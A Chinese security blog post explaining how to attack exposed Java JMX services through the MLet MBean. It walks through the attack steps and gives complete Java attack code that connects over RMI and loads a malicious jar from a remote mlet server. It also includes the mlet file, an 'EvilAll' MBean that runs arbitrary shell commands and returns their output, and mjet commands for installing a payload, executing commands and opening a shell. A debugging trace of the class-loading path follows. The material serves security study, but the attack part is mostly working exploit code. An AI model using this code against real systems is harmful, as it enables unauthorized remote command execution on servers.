Diggid's Blog

Java JMX系列(2)-MLet攻击

字数统计: 1.3k阅读时长: 6 min
2021/11/22 Share

前言

接着上篇,基础学完了,接下来的几篇拓展JMX的几个攻击面,这篇先从Mlet开始吧。算是jmx特性+mbean利用

什么是Mlet

简单来说:MLet 指的是javax.management.loading.MLet,该mbean有个getMBeansFromURL的函数,可以从远程mlet server加载mbean

攻击流程

从代码上看,分4步,在getMBeansFromURL方法中的是2、3步

  1. 根据host、port、domain用JMXConnector建立RMI连接
  2. 调用连接的createMBean方法创建javax.management.loading.MLet
  3. invoke MLet的getMBeansFromURL方法,远程加载放在服务器中的mlet文件和jar,同时注册jar中的Evil MBean
  4. invoke Evil MBean的执行命令的方法。
  • 攻击代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
public class AttackJMXByMlet {
public static void main(String[] args) {
try {
attack("localhost", "1099", "whoami");
} catch (Exception e) {
e.printStackTrace();
}
}

public static void attack(String host, String port, String cmd) {

try {
// 1.建立连接
JMXServiceURL serviceURL = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://" + host + ":" + port + "/MyMBean");
System.out.println("URL: " + serviceURL + ", connecting");
JMXConnector connector = JMXConnectorFactory.connect(serviceURL);
System.out.println("Connected: " + connector.getConnectionId());
MBeanServerConnection connection = connector.getMBeanServerConnection();

// 2.创建(获取)MLet MBean
ObjectInstance mlet = null;
try {
mlet = connection.createMBean("javax.management.loading.MLet", null);
} catch (InstanceAlreadyExistsException e) {
mlet = connection.getObjectInstance(new ObjectName("DefaultDomain:type=MLet"));
}
System.out.println("Loaded " + mlet.getClassName());

// 3.加载EvilAll MBean
ObjectInstance evil = null;
Object resEvil = connection.invoke(mlet.getObjectName(), "getMBeansFromURL", new Object[]{"http://127.0.0.1:7777/mlet"}, new String[]{String.class.getName()});

// 判断是否获取成功
ObjectInstance evilBean = null;
HashSet set = (HashSet) resEvil;
Object object = set.iterator().next();
if (object instanceof InstanceAlreadyExistsException) {
evilBean = connection.getObjectInstance(new ObjectName("MLetEvil:name=evil,id=1"));
} else {
evilBean = (ObjectInstance) object;
}

//4.执行EvilAll MBean的方法
System.out.println("Loaded class: " + evilBean.getClassName() + " object " + evilBean.getObjectName());
System.out.println("Calling runCommand with: " + cmd);
Object res = connection.invoke(evilBean.getObjectName(), "runCmd", new Object[]{cmd}, new String[]{String.class.getName()});
System.out.println("Result: " + res);
} catch (Exception e) {
e.printStackTrace();
}
}
}
  • mlet文件
1
<html><mlet code="com.diggid.evilclass.EvilAll" archive="Jmx-Mlet-1.0-SNAPSHOT.jar" name="MLetEvil:name=evil,id=1" codebase="http://127.0.0.1:7777"></mlet></html>
  • Evil MBean
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
public interface EvilAllMBean {
public String runCmd(String cmd);
}

public class EvilAll implements EvilAllMBean{
@Override
public String runCmd(String cmd) {
try {
String o = "";
ProcessBuilder p;
if (System.getProperty("os.name").toLowerCase().contains("win")) {
cmd = "calc.exe";
p = new ProcessBuilder("cmd.exe", "/c", cmd);
} else {
String pty = "/bin/sh";
if ((new File("/bin/bash")).exists()) {
pty = "/bin/bash";
}

p = new ProcessBuilder(pty, "-c", cmd);
}
// 回显
Process proc = p.start();
BufferedReader stdInput = new BufferedReader(new InputStreamReader(proc.getInputStream()));
BufferedReader stdError = new BufferedReader(new InputStreamReader(proc.getErrorStream()));
StringBuilder stdout_err_data = new StringBuilder();
String s;
while ((s = stdInput.readLine()) != null)
{
stdout_err_data.append(s).append("\n");
}
while ((s = stdError.readLine()) != null)
{
stdout_err_data.append(s).append("\n");
}
proc.waitFor();
return stdout_err_data.toString();

} catch (Exception var6) {
return null;
}
}
}

调试分析

这里跟一下攻击流程的第三步,也就是invoke getMBeansFromURL这步。在调用getMBeansFromURL之前的由JMXServer来调度invoke的过程就不分析了,调用栈放一下

1
2
3
4
5
6
7
8
9
10
11
12
getMBeansFromURL:630, MLet (javax.management.loading)
...
invoke:498, Method (java.lang.reflect)
invoke:275, MethodUtil (sun.reflect.misc)
invokeM2:112, StandardMBeanIntrospector (com.sun.jmx.mbeanserver)
invokeM2:46, StandardMBeanIntrospector (com.sun.jmx.mbeanserver)
invokeM:237, MBeanIntrospector (com.sun.jmx.mbeanserver)
invoke:138, PerInterface (com.sun.jmx.mbeanserver)
invoke:252, MBeanSupport (com.sun.jmx.mbeanserver)
invoke:819, DefaultMBeanServerInterceptor (com.sun.jmx.interceptor)
invoke:801, JmxMBeanServer (com.sun.jmx.mbeanserver)
doOperation:1468, RMIConnectionImpl (javax.management.remote.rmi)

先从远程的http://127.0.0.1/mlet文件中解析html得到相关的属性如下,保存在MLet的mletList中

image-20211125103453873

然后调用javax.management.MBeanServer#createMBean(String, ObjectName, MLetObjectName)方法通过MLet来创建MBean。

image-20211125103851887

createMBean由多个重载,重点关注第三个参数即loaderName有无的区别。如果有的话,对应会调用到的方法如下DefaultMBeanServerInterceptor#createMBean

image-20211125104257868

如果无的话,则withDefaultLoaderRepository这第四个参数是true,说明会从本地加载。

跟一下DefaultMBeanServerInterceptor#createMBean

image-20211125104604131

如果是true的情况,会调用MBeanInstantiator#findClassWithDefaultLoaderRepository来加载本地的Class文件。

如果是false且有loaderName的话,则调用MBeanInstantiator#findClass(ClsName, loaderName)

image-20211125104827851

继续跟进,调用MBeanInstantiator#getClassLoader方法取出ClassLoader,其实就是MLet,也就是说MLet本身就是一个辅助加载远程MBean的工具,其继承了URLClassLoader

image-20211125105142526

image-20211125105029848

一直跟进到MBeanInstantiator#loadClass,后面就是Class.forName(name, false, MLet),后面会调用URLClassLoader的那一套来从远程jar文件中加载class

image-20211125105301639

Mjet工具

https://github.com/mogwailabs/mjet

上面的四步工具流程都可以直接利用mjet工具来操作。

列举一下几个简单用法

image-20211125111242403

  • 需要认证、绕过、制定domainName(默认是jmxrmi)的选项

image-20211125105757193

  • 操作模式:包括注入Mbean、执行命令(java/js)、修改密码(一个密码对应一个MBean,默认是super_secret,操作MBean是需要密码参数)、shell模式、反序列化等

image-20211125105949328

mjet本身就内置了MLET web server,默认是在本地的8080端口。但install的时候不能缺省。注入进去的MBean名称为MBeanMogwaiLabs:name=payload,id=1,针对MBean执行操作的话都需要带上install时设置的密码

列举一下常用的

1
2
3
4
5
6
7
8
9
(1) install MBean:会注入一个Evil MBean进去
jython mjet.py [host] [port] install [passwd] [MLet URL] [MLET port]
jython mjet.py 127.0.0.1 1099 install passwd http://127.0.0.1:8080 8080
(2) command
jython mjet.py [host] [port] command [passwd] [cmd]
jython mjet.py 127.0.0.1 1099 command passwd "whoami"
(3) shell
jython mjet.py [host] [port] shell [passwd]
jython mjet.py 127.0.0.1 1099 shell passwd

参考

http://m0d9.me/2020/05/29/JMX%E7%B3%BB%E5%88%97%EF%BC%9AMlet%E5%88%A9%E7%94%A8%E6%96%B9%E5%BC%8F%EF%BC%88%E4%BA%8C%EF%BC%89/

https://www.anquanke.com/post/id/202686#h3-5

CATALOG
  1. 1. 前言
  2. 2. 什么是Mlet
  3. 3. 攻击流程
  4. 4. 调试分析
  5. 5. Mjet工具
  6. 6. 参考